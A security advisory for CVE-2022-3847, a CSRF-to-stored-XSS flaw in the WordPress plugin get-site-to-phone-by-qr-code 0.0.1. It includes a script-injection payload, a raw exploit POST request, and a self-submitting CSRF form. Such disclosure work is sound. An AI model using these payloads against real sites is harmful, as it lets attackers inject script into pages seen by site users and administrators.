get-site-to-phone-by-qr-code 0.0.1 WordPress plug-in Stored XSS via CSRF

Vulnerability Metadata


Key Value
Date of Disclosure November 03 2022
Affected Software get-site-to-phone-by-qr-code
Affected Software Type WordPress plugin
Version 0.0.1
Weakness Cross-Site Request Forgery, Stored Cross-Site Scripting
CWE ID CWE-352, CWE-79
CVE ID CVE-2022-3847
CVSS 3.x Base Score 6.1
CVSS 2.0 Base Score n/a
Reporter Kunal Sharma, Daniel Krohmer
Reporter Contact k_sharma19@informatik.uni-kl.de
Link to Affected Software https://wordpress.org/plugins/get-site-to-phone-by-qr-code/
Link to Vulnerability DB https://nvd.nist.gov/vuln/detail/CVE-2022-3847

Vulnerability Description


The lack of CSRF protection in get-site-to-phone-by-qr-code 0.0.1 results in Stored-XSS via CSRF. An attacker can make an Admin or Editor to save plugin and QR code display settings. This leads to Stored Cross-Site Scripting in bg_color query parameter.

Exploitation Guide


Stored XSS


Login as user with Editor role or above. This attack requires at least Editor privileges.

get-site-to-phone-by-qr-code_step-1.png


get-site-to-phone-by-qr-code_step-2.png

Go to QR CODE page on the WordPress site dashboard.

get-site-to-phone-by-qr-code_step-3.png

Click Save with/without changing any defaults.

get-site-to-phone-by-qr-code_step-4.png

Clicking Save button triggers the vulnerable request. We have to add the payload to POST query parameterbg_color in the request.

get-site-to-phone-by-qr-code_step-5.png

Sending the POC request stores XSS payload in the plugin database. A POC may look like the following request:

get-site-to-phone-by-qr-code_step-6.png

The malicious value of bg_color is reflected on QR Code page in the WordPress site dashboard, and also on every post/page created on the site.

get-site-to-phone-by-qr-code_step-7.png


get-site-to-phone-by-qr-code_step-8.png

In the code, the vulnerability is triggered by un-sanitized user input of bg_color at line 190 in ./init.php.

get-site-to-phone-by-qr-code_step-9.png

At lines 192-202 in ./init.php the database query replace call on array containing bg_color. This stores the malicious XSS payload in the plugin database.

get-site-to-phone-by-qr-code_step-10.png

At lines 334-351 is prepared with values from database(inc. bg_color) inside ./init.php. Finally malicious XSS payload is refleted inbg_color and is rendered on:

  1. QR Code page in the WordPress site dashboard.
  2. Every post/page created on the site.

get-site-to-phone-by-qr-code_step-11.png


CSRF :arrow_forward: Stored-XSS


The plugin does not have any CSRF protection while Save functionality:

get-site-to-phone-by-qr-code_step-4.png

No CSRF checks leads to creation of custom request. This request is used to persist/store malicious XSS payload(manual process already shown above in Stored XSS). A threat actor can create a self-submit html page. This malicious page will create a request to persist XSS payload in the plugin database.

Sending the malicious CSRF page logged in Admin or Editor leads to site-wide Stored-XXS.

get-site-to-phone-by-qr-code_step-12.png

Exploit Payload


Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work.

Stored XSS Payload:

"></div></div><script>alert(window.origin)</script>//

The Stored-XSS can be triggered by sending the request below:

POST /wp-admin/admin.php?page=my-unique-qr-code HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/admin.php?page=my-unique-qr-code
Content-Type: application/x-www-form-urlencoded
Content-Length: 195
Origin: http://localhost
Connection: close
Cookie: notice_hide_1_3_10=true; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1666185599; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_c9db569cb388e160e4b86ca1ddff84d7=joey%7C1666740858%7CdmUzOZ7bHP7eIwmAAeMXbXBW0PX5ptfUoDoCFccrMsL%7C24fde3662c890c83a4324551bce9bffbe4d86c5a21004640052c74689a3b04a4; wordpress_logged_in_c9db569cb388e160e4b86ca1ddff84d7=joey%7C1666740858%7CdmUzOZ7bHP7eIwmAAeMXbXBW0PX5ptfUoDoCFccrMsL%7C36f086f4fa957ab1e22880067be5cbc297b790f2f073a4b509ab8e00d3f819dd; wp-settings-time-2=1666568061
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

checkbox-nested-2=on&bg_color=%22%3e%3c%2fdiv%3e%3c%2fdiv%3e%3cscript%3ealert(window.origin)%3c%2fscript%3e//&colorDark=%23000000&colorLight=%23ffffff&width=200&height=200&urlinqrcoed-submit=Save

CSRF Payload:

<html><form enctype="multipart/form-data" method="POST" action="http://<WordPress-Site>/wp-admin/admin.php?page=my-unique-qr-code" id="csrfpoc"><table><tr><td>checkbox-nested-2</td><td><input type="text" value="on" name="checkbox-nested-2"></td></tr>
<tr><td>bg_color</td><td><input type="text" value="&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;script&gt;alert(window.origin)&lt;/script&gt;" name="bg_color" size="40"></td></tr>
<tr><td>colorDark</td><td><input type="text" value="#000000" name="colorDark"></td></tr>
<tr><td>colorLight</td><td><input type="text" value="#ffffff" name="colorLight"></td></tr>
<tr><td>width</td><td><input type="text" value="200" name="width"></td></tr>
<tr><td>height</td><td><input type="text" value="200" name="height"></td></tr>
<tr><td>urlinqrcoed-submit</td><td><input type="text" value="Save" name="urlinqrcoed-submit"></td></tr>
</table></form><script>csrfpoc.submit()</script></html>